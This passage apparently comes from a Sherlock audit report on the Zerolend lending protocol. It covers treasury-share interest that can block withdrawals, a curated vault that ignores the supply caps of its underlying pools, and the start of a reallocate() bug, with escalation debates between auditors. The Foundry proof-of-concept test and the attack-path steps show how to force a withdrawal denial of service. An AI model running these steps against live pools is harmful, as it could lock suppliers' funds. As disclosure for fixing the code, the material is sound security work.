In addition, the accumulation of interest on these `accruedToTreasuryShares` can lead to pool withdrawals being DOSed under circumstances where the `_updateIndexes()` is called close to every second to create a compounding effect. This compounding effect on brings the `liquidityIndex` closer to the `borrowIndex`. This results in the interest earned on `accruedToTreasuryShares` causing the pool to run out of liquidity when suppliers withdraw.

Internal pre-conditions

Impact 1

1. A pool has a non-zero `reserveFactor`
2. Pool operates normally with supplies/borrows/repays

Impact 2

1. A pool has a non-zero `reserveFactor`
2. Pool operates normally with supplies/borrows/repays
3. `_updateIndexes()` is called each second (or close to)

External pre-conditions

No response

Attack Path

Impact 2

1. User1 supplies to a pool
2. User2 borrows from the same pool
3. As time elapses, `_updateIndexes()` is called close to every second, bringing `liquidityIndex` closer to `borrowIndex`. Note this is callable from an external function `Pool::forceUpdateReserves()`
4. User2 repays their borrow including interest
5. Repeat step 3 just for a few seconds
6. User1 attempts to withdraw their balance but due to the accrued interest on `accruedToTreasuryShares`, the pool runs out of liquidity DOSing the withdrawal.

Impact

1. Generally speaking, in all pools the treasury will end up taking a larger fee than what was set in `reserveFactor`. That is, if `reserveFactor` is 1e3 (10%) and 1e18 interest is earned, the protocol will eventually claim more than 10% * 1e18 assets.
2. Under a specific scenario where `_updateIndexes()` is called every second, there will not be enough liquidity for suppliers to withdraw because the treasury earning supply interest on their `accruedToTreasuryShares` is not accounted for.

PoC

The below coded POC implements the 'Attack Path' described above.

First, add this line to the `CorePoolTests::_setUpCorePool()` function to create a scenario with a non-zero reserve factor:

```
  function _setUpCorePool() internal {
    poolImplementation = new Pool();

    poolFactory = new PoolFactory(address(poolImplementation));
+   poolFactory.setReserveFactor(1e3); // 10%
    configurator = new PoolConfigurator(address(poolFactory));

    ... SKIP!...
  }
```

Then, create a new file on /test/forge/core/pool and paste the below contents.

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import {console2} from 'forge-std/src/Test.sol';
import {PoolLiquidationTest} from './PoolLiquidationTests.t.sol';

contract AuditHighSupplyRateDosWithdrawals is PoolLiquidationTest {

function test_POC_DosedWithdrawalsDueToTreasurySharesAccruing() public {
    uint256 aliceMintAmount = 10_000e18;
    uint256 bobMintAmount = 10_000e18;
    uint256 supplyAmount = 1000e18;
    uint256 borrowAmount = 1000e18;

    _mintAndApprove(alice, tokenA, aliceMintAmount, address(pool));         //
↪   alice collateral
    _mintAndApprove(bob, tokenB, bobMintAmount, address(pool));             // bob
↪   supply
    _mintAndApprove(alice, tokenB, aliceMintAmount, address(pool));         //
↪   alice needs some funds to pay interest

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmount, 0);
    vm.stopPrank();

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, aliceMintAmount, 0);  // alice
↪   collateral
    pool.borrowSimple(address(tokenB), alice, borrowAmount, 0);     // 100%
↪   utilization
    vm.stopPrank();

    for(uint256 i = 0; i < (12 * 60 * 60); i++) { // Each second `_updateIndexes()`
↪   is called via external function `forceUpdateReserves()`
        vm.warp(block.timestamp + 1);
        pool.forceUpdateReserves();
    }

    // Alice full repay
    vm.startPrank(alice);
    tokenB.approve(address(pool), type(uint256).max);
    pool.repaySimple(address(tokenB), type(uint256).max, 0);
    uint256 post_aliceTokenBBalance = tokenB.balanceOf(alice);
    uint256 interestRepaidByAlice = aliceMintAmount - post_aliceTokenBBalance;

    for(uint256 i = 0; i < (60); i++) { // warp after for treasury to accrue
↪   interest on their 'fee shares'
        vm.warp(block.timestamp + 1);
```

```
            pool.forceUpdateReserves();
        }

        // Check debt has been repaid
        (, , , uint256 debtShares) = pool.marketBalances(address(tokenB));
        assert(debtShares == 0); // All debt has been repaid

        // Treasury assets to claim
        uint256 treasuryAssetsToClaim =
    ↪   pool.getReserveData(address(tokenB)).accruedToTreasuryShares *
    ↪   pool.getReserveData(address(tokenB)).liquidityIndex / 1e27;

        // Bob's assets to claim
        bytes32 bobPos = keccak256(abi.encodePacked(bob, 'index', uint256(0)));
        uint256 bobsAssets = pool.supplyShares(address(tokenB), bobPos) *
    ↪   pool.getReserveData(address(tokenB)).liquidityIndex / 1e27;

        // Impact 1: the interest claimable by the treasury is greater than 10% of the
    ↪   interest repaid
        assert(treasuryAssetsToClaim > pool.factory().reserveFactor() *
    ↪   interestRepaidByAlice / 1e4);

        // Impact 2: Bob & the treasury's claim on the assets is greater than available
    ↪   assets, despite no outstanding debt.
        // This assert demonstrates that bob's withdrawal would be DOSed as withdrawal
    ↪   calls include a transfer of treasury assets.
        // The withdrawal DOS cannot be shown due to the call reverting due to the
    ↪   'share underflow' issue described in another report
        uint256 poolLiquidity = tokenB.balanceOf(address(pool));
        assert(bobsAssets + treasuryAssetsToClaim > poolLiquidity);
      }
  }
```

Mitigation

Three possible solutions:

1. Immediately send the 'fee assets' to treasury rather than accruing them over time
2. Store the 'fee assets' in assets instead of shares. This will correctly capture the amount of fee that is intended by `reserveFactor`. For example if a fee is 10%, the protocol will take exactly 10% of the interest earned on debt.
3. Account for the creation of new `supplyShares` by diluting the `liquidityIndex` upon creating these shares. This solution will allow the conversion back to assets in `executeMintToTreasury()` to remain unchanged.
    - Note I acknowledge that the calculation of does account for `reserveFactor`, however given this is out of scope I did not focus on it. Regardless, it does not

scale the rate down enough to account for the interest the treasury will earn on these shares.

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

Honour commented:

> Invalid: fees can accrue interest as well as is done in AAVE

Honour-d-dev

Escalate

This issue is invalid and is different from the #16 #220 #267 #317 group #240 is not in the above group

`accruedToTreasuryShares` should earn supply interest, it is accounted for in the interest calculations and is the exact same way aave works as well.

sherlock-admin3

> Escalate
>
> This issue is invalid and is different from the #16 #220 #267 #317 group #240 is not in the above group
>
> `accruedToTreasuryShares` should earn supply interest, it is accounted for in the interest calculations and is the exact same way aave works as well.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

Nihavent

> Escalate
>
> This issue is invalid and is different from the #16 #220 #267 #317 group #240 is not in the above group
>
> `accruedToTreasuryShares` should earn supply interest, it is accounted for in the interest calculations and is the exact same way aave works as well.

This report focuses on the edge case regarding frequent calls of `allowbreak _updateIndexes()` however it still demonstrates a withdrawal DOSed due to insufficient liquidity (see impact 2 on the POC and associated comment):

Excerpt from POC:

```
...

// Impact 2: Bob & the treasury's claim on the assets is greater than available
↪  assets, despite no outstanding debt.
// This assert demonstrates that bob's withdrawal would be DOSed as withdrawal
↪  calls include a transfer of treasury assets.
// The withdrawal DOS cannot be shown due to the call reverting due to the 'share
↪  underflow' issue described in another report
uint256 poolLiquidity = tokenB.balanceOf(address(pool));
assert(bobsAssets + treasuryAssetsToClaim > poolLiquidity);
```

If you have any doubt that this is due to the transfer of assets to treasury, you could add the following assert statement showing sufficient liquidity to withdraw if we remove the treasury asset transfer:

```
    ...

    // Impact 2: Bob & the treasury's claim on the assets is greater than available
↪   assets, despite no outstanding debt.
    // This assert demonstrates that bob's withdrawal would be DOSed as withdrawal
↪   calls include a transfer of treasury assets.
    // The withdrawal DOS cannot be shown due to the call reverting due to the
↪   'share underflow' issue described in another report
    uint256 poolLiquidity = tokenB.balanceOf(address(pool));
    assert(bobsAssets + treasuryAssetsToClaim > poolLiquidity);
+   assert(bobsAssets <= poolLiquidity);
```

This is exactly the same root cause as the family of issues you listed, thus they should remain grouped. My understanding is in Sherlock duplication rules, valid duplicates do not need to identify the primary attack path.

This report also discusses interest accruing on minted treasury shares results in more than the `reserveFactor` being claimed by the treasury (see impact 1 in the POC). As mentioned in the mitigations, this could be fixed by sending the fees in assets to the treasury upon debt repayment instead of minting the treasury shares which accrue over time. If this change was implemented it would also mitigate the DOSed withdrawals because a withdrawal would not revert when the pool has just enough liquidity to service the withdrawn assets.

Finally, the point you make about AAVE accruing interest on treasury shares is not directly applicable to Zerolend because AAVE have removed `executeMintToTreasury()` from the pool withdraw flow shown here and here. As a result, AAVEE need not worry about treasury fees being stored in shares because they won't DOS withdrawals.

EDIT: for clarity I do conceed that impact 1 of this report by itself is low/info severity. But the fix for impact 1 also fixes DOSed withdrawals so it's closely related to impact 2 which is medium severity and matches the grouped family.

cvetanovv

I agree with @Nihavent comment that this issue can remain a duplicate with the others because it has caught the root cause, which the other issues have reported, and the second impact is the same as the other issues(withdrawal DoS).

Also, from the escalation, I agree that #240 does not belong in this group but in the #101 group.

Planning to reject the escalation of this issue(#430) to be invalid, but I'll duplicate #240 with #101.

0xSpearmint

@cvetanovv This issue is invalid.

The root cause of this issue as described by the watsons is that `executeMintToTreasury` will revert when a user attempts to withdraw all the liquidity from a pool.

This is intended, consider the following scenario that assumes a 10% reserve factor:

1. Lender lends 10 ETH
2. Borrower borrows 10 ETH
3. Later the borrower repays 5 ETH + 1 ETH interest (0.1ETH belongs to the treasury)
4. Currently there is 6 ETH in the pool, If the lender attempts to withdraw 6 ETH it will revert **which is intended** because 0.1 ETH belongs to the treasury
5. The lender can withdraw 5.9 ETH and have no issues

While the 0.1 ETH is in the pool, it is not available liquidity for lenders to withdraw. It is reserved for the treasury

Nihavent

> "4. Currently there is 6 ETH in the pool, If the lender attempts to withdraw 6 ETH it will revert which is intended because 0.1 ETH belongs to the treasury"

In this example the lender has supply shares equal in value to 10.9 ETH, why should a withdrawal of 6 ETH revert when the pool has 6 ETH of liquidity? Yes the treasury holds supply shares equal to 0.1 ETH. These supplyShares are the same as any other supplyShares and should not need to be provisioned for in every single withdrawal.

What if treasuryShares are worth 2 ETH, a pool has 3 ETH of liquidity and a user who holds supplyShares worth 2 ETH attempts to withdraw 2 ETH. Why should this revert?

> "The root cause of this issue as described by the watsons is that executeMintToTreasury will revert when a user attempts to withdraw all the liquidity from a pool."

Not necessarily, the example I just gave shows a user attempting to withdraw less than all the liquidity available and still facing a revert.

Note that Aave fixed this issue by removing 'executeMintToTreasury' from the withdrawal flow as I described here

0xjuaan

The pool has 6 ETH worth of liquidity, but 0.1 ETH is **reserved** for the treasury. Due to the **reserve** factor of 10%. Clearly these funds meant for the treasury should not be withdrawable by lenders.

Nihavent

> " Clearly these funds meant for the treasury should not be withdrawable by lenders."

It is completely misleading to suggest that lenders are trying to withdraw treasury funds. They're only trying to withdraw their funds.

The issue is clearly visible in pools with low liquidity and accumulating treasury fees such as this example:

> " What if treasuryShares are worth 2 ETH, a pool has 3 ETH of liquidity and a user who holds supplyShares worth 2 ETH attempts to withdraw 2 ETH."

Where a withdrawal of any amount exceeding 1 ETH is DOSed until a repayment/deposit is made that covers the withdrawal amount and all treasury fees (which continue to accumulate). Note if the asset value of the treasury shares exceeds the available liquidity in the pool all withdrawals are DOSed.

It seems like you're making the variable name 'reserveFactor' do too much work. If these funds were truly intended to be reserved, they would not be borrowable.

This issue was fixed in Aave for a reason, I'm yet to see a compelling argument why it's not an issue in Zerolend

cvetanovv

I believe this issue and its duplicates (excluding #240) are valid because the accumulation of treasury fees could ultimately result in a situation where all withdrawals from the pool are DOSed.

This occurs when the total accrued treasury fees exceed the available liquidity in the pool, thereby preventing suppliers from withdrawing their assets until the pool is replenished.

As @Nihavent has pointed out, Aave resolved this issue by excluding 'executeMintToTreasury' from the withdrawal flow.

My previous decision to reject escalation remains. I will only invalidate #240

0xSpearmint

@cvetanovv The treasury fees is 10% of the interest paid on loans. This is orders of magnitude smaller than the principal liquidity of the pool. It is not realistic at all for the treasury fees to exceed the available liquidity in the pool unless the pool has > 99% utilization so there is barely anything left. This edge case will not last long at all since the borrower will have a huge interest rate to pay so the DOS will be well below 7 days and the lenders will receive huge yield for that period.

Furthermore every time a single successful withdrawal occurs, the treasury fees reset to 0. This makes it even harder to accumulate an amount to cause a DOS.

Nihavent

> ”It is not realistic at all for the treasury fees to exceed the available liquidity in the pool unless the pool has > 99% utilization so there is barely anything left. This edge case will not last long at all since the borrower will have a huge interest rate to pay so the DOS will be well below 7 days and the lenders will receive huge yield for that period.”

Your comment is making a lot of assumptions given high utilization is a completely valid pool state. There are a variety of IRMs and varying incentives for users.

- There may be pools using `DefaultInterestRateStrategy` where the 'debtSlope' settings are not high enough. In these pools, the utilization has minimal impact on rates and users have little incentive to repay quickly.
- Even if this isn't the case, higher utilization results in more interest repaid which results in more treasury fees which further increases the minimum deposit or repayment required to un-dos withdrawals.
- Not all IRMs increase rates as a function of utilization, we can see the codebase has plans for a `FixedInterestRateStrategy`. Your comment gives no consideration to extended DOS in pools with fixed rate stratergies.

> ”Furthermore every time a single successful withdrawal occurs, the treasury fees reset to 0. This makes it even harder to accumulate an amount to cause a DOS.”

The issue is no withdrawal can occur when accumulated treasury shares exceed pool liquidity.

cvetanovv

I agree with @Nihavent comment, and my previous decision remains: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/430#issuecomment-2435074872

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- Honour-d-dev: rejected

Issue M-12: `CuratedVaultSetters::_supplyPool()` does not consider the pool cap of the underlying pool, which may cause `deposit()` to revert or lead to an unintended reordering of `supplyQueue`

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/433

Found by

Bigsam, Nihavent, wellbyt3

Summary

The curated vault's `_supplyPool()` function deposits assets into the underlying pools in `supplyQueue`. Whilst it considers the curated vault's cap for a given pool, it does not consider the underlying pool's internal cap. As a result, some `CuratedVault::deposit()` transactions will revert due to running out of pools to deposit to, or the liquidity will be allocated to the `supplyQueue` in a different order.

Root Cause

`CuratedVaultSetters::_supplyPool()` is called in the deposit flow of the curated vault. As shown below, it attempts to deposit the minimum of `assets` and `supplyCap-supplyAssets` (which is the 'available curated pool cap' for this pool).

```
  function _supplyPool(uint256 assets) internal {
    for (uint256 i; i < supplyQueue.length; ++i) {
      IPool pool = supplyQueue[i];

      uint256 supplyCap = config[pool].cap;
      if (supplyCap == 0) continue;

      pool.forceUpdateReserve(asset());

      uint256 supplyShares = pool.supplyShares(asset(), positionId);

      // `supplyAssets` needs to be rounded up for `toSupply` to be rounded down.
      (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) =
↪   pool.marketBalances(asset());
@>    uint256 supplyAssets = supplyShares.toAssetsUp(totalSupplyAssets,
 ↪  totalSupplyShares);

@>    uint256 toSupply = UtilsLib.min(supplyCap.zeroFloorSub(supplyAssets), assets);

      if (toSupply > 0) {
        // Using try/catch to skip markets that revert.
        try pool.supplySimple(asset(), address(this), toSupply, 0) {
          assets -= toSupply;
        } catch {}
      }

      if (assets == 0) return;
    }

    if (assets != 0) revert CuratedErrorsLib.AllCapsReached();
  }
```

However, the function does not consider an underlying pool's `supplyCap`. Underlying pools have their own `supplyCap` which will cause `supply()` calls to revert if they would put the pool over it's `supplyCap`:

```
  function validateSupply(
    DataTypes.ReserveCache memory cache,
    DataTypes.ReserveData storage reserve,
    DataTypes.ExecuteSupplyParams memory params,
    DataTypes.ReserveSupplies storage totalSupplies
  ) internal view {
    ... SKIP!...

    uint256 supplyCap = cache.reserveConfiguration.getSupplyCap();

    require(
      supplyCap == 0
@>      || ((totalSupplies.supplyShares +
 ↪  uint256(reserve.accruedToTreasuryShares)).rayMul(cache.nextLiquidityIndex) +
 ↪  params.amount)
          <= supplyCap * (10 ** cache.reserveConfiguration.getDecimals()),
      PoolErrorsLib.SUPPLY_CAP_EXCEEDED
    );
  }
```

Also note that the `pool::supplySimple()` call in `_supplyPool()` is wrapped in a try/catch block, so if a `pool::supplySimple()` call were to revert, it will just continue to the next pool.

Internal pre-conditions

- A `CuratedVault::deposit()` call needs to be within the limits of the curated vault's cap (`config[pool].cap`) but exceed the limits of the underlying pool's `supplyCap`.

External pre-conditions

No response

Attack Path

1. A curated pool has two pools in the `supplyQueue`.
2. The first underlying pool has an internal `supplyCap` of 100e18 and is currently at 99e18.
3. The first underlying pool has an internal `supplyCap` of 100e18 and is currently at 99e18.
4. A user calls `deposit()` on the curated vault with a value of 2e18.
5. The value does not exceed the curated vault's `config[pool].cap` for either pool.
6. The underlying call to `Pool::supplySimple()` will silently revert on both pools, and the entire transaction will revert due to running out of available pools to supply the assets to
7. As a result, no assets are deposits, despite the underlying pools having capacity to accept the 2e18 deposit between them.

Impact

Deposit Reverts

- If a deposit would be able to be deposited across two or more underlying pools in the `supplyQueue`, but is too large to be added to any one of these underlying pools, the deposit will completely revert, despite the underlying pools having capacity to accept the deposit.

Inefficient reorder of `supplyQueue`

- If a deposit amount is within the limits of the curated pool's `config[pool].cap`, but would exceed the limits an underlying pool in `supplyQueue`. Then the silent revert would skip this pool and attempt to deposit it's liquidity to the next pool in the queue. This is an undesired/inefficient reordering of the `supplyQueue` as a simple check on the cap of the underlying pool would reveal some amount that would be accepted by the underlying pool.

PoC

No response

Mitigation

Create an external getter for a pool's supply cap, similar to `ReserveConfiguration::getSupplyCap()` the next function should also scale the supply cap by the reserve token's decimals.

Then, add an extra check in `CuratedVaultSetters::_supplyPool()` as shown below.

```
  function _supplyPool(uint256 assets) internal {
    for (uint256 i; i < supplyQueue.length; ++i) {
      IPool pool = supplyQueue[i];

      uint256 supplyCap = config[pool].cap;
      if (supplyCap == 0) continue;

      pool.forceUpdateReserve(asset());

      uint256 supplyShares = pool.supplyShares(asset(), positionId);

      // `supplyAssets` needs to be rounded up for `toSupply` to be rounded down.
      (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) =
 ↪  pool.marketBalances(asset());
      uint256 supplyAssets = supplyShares.toAssetsUp(totalSupplyAssets,
 ↪  totalSupplyShares);

      uint256 toSupply = UtilsLib.min(supplyCap.zeroFloorSub(supplyAssets), assets);

+     toSupply = UtilsLib.min(toSupply,
 ↪  pool.getSupplyCap(pool.getConfiguration(asset())) - totalSupplyAssets );

      if (toSupply > 0) {
        // Using try/catch to skip markets that revert.
        try pool.supplySimple(asset(), address(this), toSupply, 0) {
          assets -= toSupply;
        } catch {}
      }

      if (assets == 0) return;
    }

    if (assets != 0) revert CuratedErrorsLib.AllCapsReached();
  }
```

Discussion

sherlock-admin3

1 comment(s) were left on this issue during the judging contest.

Honour commented:

> Invalid: see comment on #193

Nihavent

Escalate

This report should be valid and is not a duplicate of https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/399 which is about `maxWithdraw` and `maxRedeem` being non-ERC4626 compliant due to a bug in `allowbreak _withdrawable()`. On the other hand, this report describes that `allowbreak _supplyPool()` ignoring the underlying pool cap can result in unexpectedly reverting deposits or an inefficient reordering of the supplyQueue.

To address the comment left on https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/193 that was referenced on this report:

> ”setCap is an admin operation and It can be expected that the curators will set (there's no reason to assume otherwise) a similar pool(vault) cap as the underlying pool”

I believe there is a flaw in this reasoning.

- The `supplyCap` stored in `CuratedVaultStorage::config[pool].cap` is the cap of deposits into a given underlying pool from this `CuratedVault`.
- The underlying pool cap stored in the `DataTypes.ReserveConfigurationMap` for the underlying pool describes the total deposits to this underlying pool from all sources (including but not limited to this `CuratedVault`).

It's true the curator sets the `supplyCap` for the curated vault, however they are not in control of other deposts to the underlying pool. So, attempting to set them to similar values will only prevent this issue as long as there are no other deposits in the underlying pool, which is not a valid assumption for a curator to make.

Therefore both impacts in this report can occur regardless of the admin-set value.

sherlock-admin3

> Escalate
>
> This report should be valid and is not a duplicate of https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/399 which is about `maxWithdraw` and `maxRedeem` being non-ERC4626 compliant due to a bug in `allowbreak _withdrawable()`. On the other hand, this report describes that `allowbreak _supplyPool()` ignoring the underlying pool cap can result in unexpectedly reverting deposits or an inefficient reordering of the supplyQueue.

To address the comment left on https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/193 that was referenced on this report:

> ”setCap is an admin operation and It can be expected that the curators will set (there's no reason to assume otherwise) a similar pool(vault) cap as the underlying pool”

I believe there is a flaw in this reasoning.

- The `supplyCap` stored in `CuratedVaultStorage::config[pool].cap` is the cap of deposits into a given underlying pool from this `CuratedVault`.
- The underlying pool cap stored in the `DataTypes.ReserveConfigurationMap` for the underlying pool describes the total deposits to this underlying pool from all sources (including but not limited to this `CuratedVault`).

It's true the curator sets the `supplyCap` for the curated vault, however they are not in control of other deposts to the underlying pool. So, attempting to set them to similar values will only prevent this issue as long as there are no other deposits in the underlying pool, which is not a valid assumption for a curator to make.

Therefore both impacts in this report can occur regardless of the admin-set value.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

@Nihavent The impact is very similar to issues #337 and #431.

You can see this comment: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/337#issuecomment-2402013737

I see no reason for it to be any different here.

Nihavent

@cvetanovv the root cause is similar to the issues you referenced but the impact here is higher.

The maximum impact on the issues you linked is non compliance with the EIP which can break external integrations, as you mentioned this does not necessarily qualify as medium impact.

The maximum impact on this issue is reverting deposits when the pools have capacity to support the deposit (see attack path). This is an implementation bug which is broken contract functionality. Additionally, assets can be allocated to underlying pools in an order which differs from the depositQueue.

This issue has nothing to do with EIP compliance.

For reference this issue has the same root cause and impact as https://github.com/sherlock-audit/2024-08-sentiment-v2-judging/issues/178

cvetanovv

@Nihavent I agree that in this issue, the impact is one idea more serious, and we enter the category "broken contract functionality".

Planning to accept the escalation and remove the duplication with #399. I will duplicate this issue(#433) with #193 and #339. This issue will be the main.

0xjuaan

Hi @cvetanovv, please consider the following judging comment regarding why this issue is invalid.

Vault curators should not set a cap that is greater than the cap of underlying pools. It makes no sense to do so. For example if the underlying pool allows a max of `10e18`, then vault curators should set a deposit cap that is less than or equal to 10e18. This issue requires vault curators to set a cap that is higher than the underlying pool's cap, so is invalid.

Nihavent

> Hi @cvetanovv, please consider the following judging comment regarding why this issue is invalid.
>
> Vault curators should not set a cap that is greater than the cap of underlying pools. It makes no sense to do so. For example if the underlying pool allows a max of `10e18`, then vault curators should set a deposit cap that is less than or equal to 10e18. This issue requires vault curators to set a cap that is higher than the underlying pool's cap, so is invalid.

This is not true as I explained here https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/433#issuecomment-2391351629

Imagine the super pool has 2 underlying pools each with an underlying cap of 10e18. The SuperPool admin sets their caps to 10e18 as you said. Each underlying pool receives deposits from other sources to the value of 9e18. Now a user trying to deposit 2e18 into the SuperPool will revert even though this deposit could be split across the two underlying pools.

Therefore carefully setting the SuperPool cap for a given pool is only an effective mitigation if there are 0 deposits from other sources in the underlying pool. As I previously mentioned this is an unrealistic assumption for anyone to make.

> "This issue requires vault curators to set a cap that is higher than the underlying pool's cap, so is invalid."

This is also incorrect because in the above example the SuperPool cap set for the two pools could be 5e18 and the issue still exists.

I believe this is straightforward but if you require a POC showing the issue when the SuperPool cap is < the underlying pool cap I can write one tomorrow.

0xjuaan

Yeah actually you're right @Nihavent, the issue can still occur. I still think that the issue would not exist if vault curators set an appropriate cap, and that is why Morpho decided to implement it this way. In the case that an event like the described one occurs, the curators can reduce the cap of the pool such that only 1e18 can be deposited into each pool, and this prevents the revert.

That is the reason why `submitCap()` has no timelock for reducing a pool cap, but does have a timelock for increasing the pool cap. It's because reducing pool caps should be able to happen to prevent the described issue.

Nihavent

Edit: Updated this comment with a more considered and complete response.

@0xjuaan thanks for acknowledging the example I provided which shows the issue is possible regardless of carefuly set admin values. I do concede this issue is less likely to occur (but not impossible) if the admin continuously sets conservatively low SuperPool caps for the underlying pools (relative to available caps in the underlying pools). However, I will now explain why I don't believe the SuperPool cap should or would ever be used for this purpose.

There are two relevant caps we're discussing:

1. The SuperPool cap which is the maximum allocation that a SuperPool will allocate to a given underlying pool, and
2. The underlying pool's cap which is the maximum liquidity from all sources that can be deposited into the pool

We can make inferences from the fact that these two caps exist:

- The SuperPool cap (1) is set by curators to represent the ideal maximum allocation to an underlying pool. This is one of the risk management tools at the disposal of the SuperPool admins.
- If the intended use case of the SuperPool cap (1) was to always have it set to the available cap in the underling pool (2), this could have been achieved programatically and in fact the parameter (1) wouldn't exist.

This comment suggests that a partial mitigation to this issue is to burden SuperPool curators with administrative work of continuously checking for a reduction in available cap in all underlying pools, and reducing the corresponding SuperPool cap to reflect this change. The evidence given for this is there is no timelock on reduction in superPool caps. I believe there are problems with this:

1. It completely reduces the purpose of the SuperPool cap from a risk management/capital allocation tool to an administrative task for curators to update (in order to prevent edge-case deposit reverts).
2. We can reasonably expect that curators would not update the cap in this way because:

- The effort / benefits tradeoff doesn't make sense fo them to use the parameter in this way. They would care more about achieving their ideal capital allocation than preventing deposit reverts into the SuperPool.
- It is a waste of gas to update it potentially several times per day per underlying pool
- It is logistically impractical to poll for reductions in available caps across all underlying pools, they would need a bot to do this and then backrun underlying pool `supply()` calls with `submitCap()` calls.
- Whilst the cap can be reduced without a timelock, it requires a timelock to increase. Therefore if they reduced it to protect against this issue, and then there is a withdrawal from the underlying pool, they can't increase the cap again quickly. Therefore, their pool loses the chance to deposit more liquidity and a different SuperPool that wasn't continuously reducing their cap gets to deposit this liquidity instead.

So whilst it's technically possible to reduce the likelihood of this issue with admin actions, it is unreasonable to expect the admin to use the parameter for this purpose.

Honour-d-dev

I also believe this issue is not worth a medium severity, `submitCap()` is an admin operation and it has been shown that the protocol is designed in such a way that its easy for the admin to handle this if it ever happens (and the chances of it happening are vey slim if the admin sets a reasonable cap to begin with)

Nihavent

> I also believe this issue is not worth a medium severity, `submitCap()` is an admin operation and it has been shown that the protocol is designed in such a way that its easy for the admin to handle this if it ever happens (and the chances of it happening are vey slim if the admin sets a reasonable cap to begin with)

I agree the issue is not going to occur frequently due to it being a bug that occurs in edge cases. To my knowledge the likelihood of the bug does not play a role in Sherlock's judging rules.

Check my previous comment for an explanation as to why setCap would need to be misused to reduce the likihood of this bug.

It has also been shown that this issue can occur regardless of admin set values.

cvetanovv

I believe this issue should be Low severity.

While it could lead to some deposit reverts or inefficiencies in the `supplyQueue`, it's important to note that this is an admin-controlled action. Admins have the ability to set reasonable caps and monitor pool configurations effectively to prevent such situations.

Additionally, there is no direct loss of funds.

For these reasons, I believe that this issue is of low severity.

Planning to reject the escalation and leave the issue as is.

Nihavent

Hi, thanks for consideration of the issue.

It has been shown that this issue can occur regardless of the most reasonable admin setCap value. This is because the available liquidity in underlying pools can change quickly.

For this parameter to be used in a way to almost completely avoid this issue, the cap would need to be set extremely low which defeats the purpose of the pool being in the supply queue.

Additionally, as I explained in detail here the setCap functionality should not and will not be used to reduce the likelihood of this issue. Requiring curators to setCap to avoid this issue costs them the functionality of setting their optimal liquidity allocation to each pool, ie. they lose the intended functionality of the parameter in order to prevent edge-case deposit reverts. Therefore no rational actor would use the parameter in this way.

If the protocol didn't want curators to be able to freely set caps, the parameter wouldn't exist and vaults would inherit the available caps from the underlying pools.

As it stands, with admins freely setting their optimal caps as per the design, there is a bug in the implementation.

Honour-d-dev

This issue is a low severity

There is no loss of funds or broken functionality or any substantial impact, the only issue here is a short/temporary inconvenience for the user that can be immediately and easily fixed by admin adjusting the cap or reordering the queue if necessary

cvetanovv

This issue is a valid Low severity.

Here are the rules for Medium severity: https://docs.sherlock.xyz/audits/real-time-judging/judging#v.-how-to-identify-a-medium-issue

1. Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.
2. Breaks core contract functionality, rendering the contract useless or leading to loss of funds of the affected party larger than 0.01% and 10 USD.

In this issue, there is neither loss of funds nor broken functionality.

My decision to reject the escalation remains.

Nihavent

If this issue does not have enough impact for medium severity, how is this issue a valid medium? https://github.com/sherlock-audit/2024-08-sentiment-v2-judging/issues/178

I understand that reports will be judged on a case-by-case basis, but there is no meaningful difference between the protocols with respect to this issue, and the submitted issues are the same. Therefore for consistency if there is enough impact in that issue for medium, there must be enough impact in this issue for medium. How are Watsons able to gauge which issues consistitue a medium if this level of consistency is not present?

- Both issues have a vault which sometimes fails to deposit into underlying pools in the queue because the available liquidity in the underlying pool is not checked.
- Both issues can result in deposit reverts or undesired reorderings of the queue.
- Both issues have an admin-set cap for the vault's maximum deposit into the underlying pool
- Both issues have the same pre-conditions
- Both issues have the same fix

cvetanovv

@Nihavent You are right about that. As you can see in the comments, I was hesitant about having broken functionality. After the protocol comment, then I decided it was Medium because it was important for them to have the function not revert.

In this contract(`CuratedVaultSetters.sol`), we also have indications that the function should not revert, so I think we have broken functionality here also: https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVaultSetters.sol#L133

Planning to accept the escalation and make this issue Medium.

0xSpearmint

Hi @cvetanovv 193 is also a duplicate of this issue.

cvetanovv

> Hi @cvetanovv 193 is also a duplicate of this issue.

Thanks for the mention. I will also duplicate #193 to this issue.

WangSecurity

Result: Medium Has duplicates

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- Nihavent: accepted

Issue M-13: Curated Vault allocators cannot `reallocate()` a pool to zero due to attempting to withdraw 0 tokens from the underlying pool

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/434

Found by

000000, 0xAristos, 0xc0ffEE, A2-security, KupiaSec, Nihavent, Obsidian, Varun_05, aman, dany.armstrong90, hyh, iamnmt, karsar, rilwan99, stuart_the_minion, theweb3mechanic, trachev, wickie, zarkk01

Summary

The `reallocate()` function is the primary way a curated vault can remove liquidity from an underlying pool, so being unable to fully remove the liquidity is problematic. However, due to a logic issue in the implementation, any attempt to `reallocate()` liquidity in a pool to zero will revert.

Root Cause

The function `CuratedVault::reallocate()` is callable by an allocator and reallocates funds between underlying pools. As shown below, `toWithdraw` is the difference between `supplyAssets` (total assets in the underlying pool controlled by the curated vault) and the `allocation.assets` which is the target allocation for this pool. Therefore, if `toWithdraw` is greater than zero, a withdrawal is required from that pool:

```
  function reallocate(MarketAllocation[] calldata allocations) external
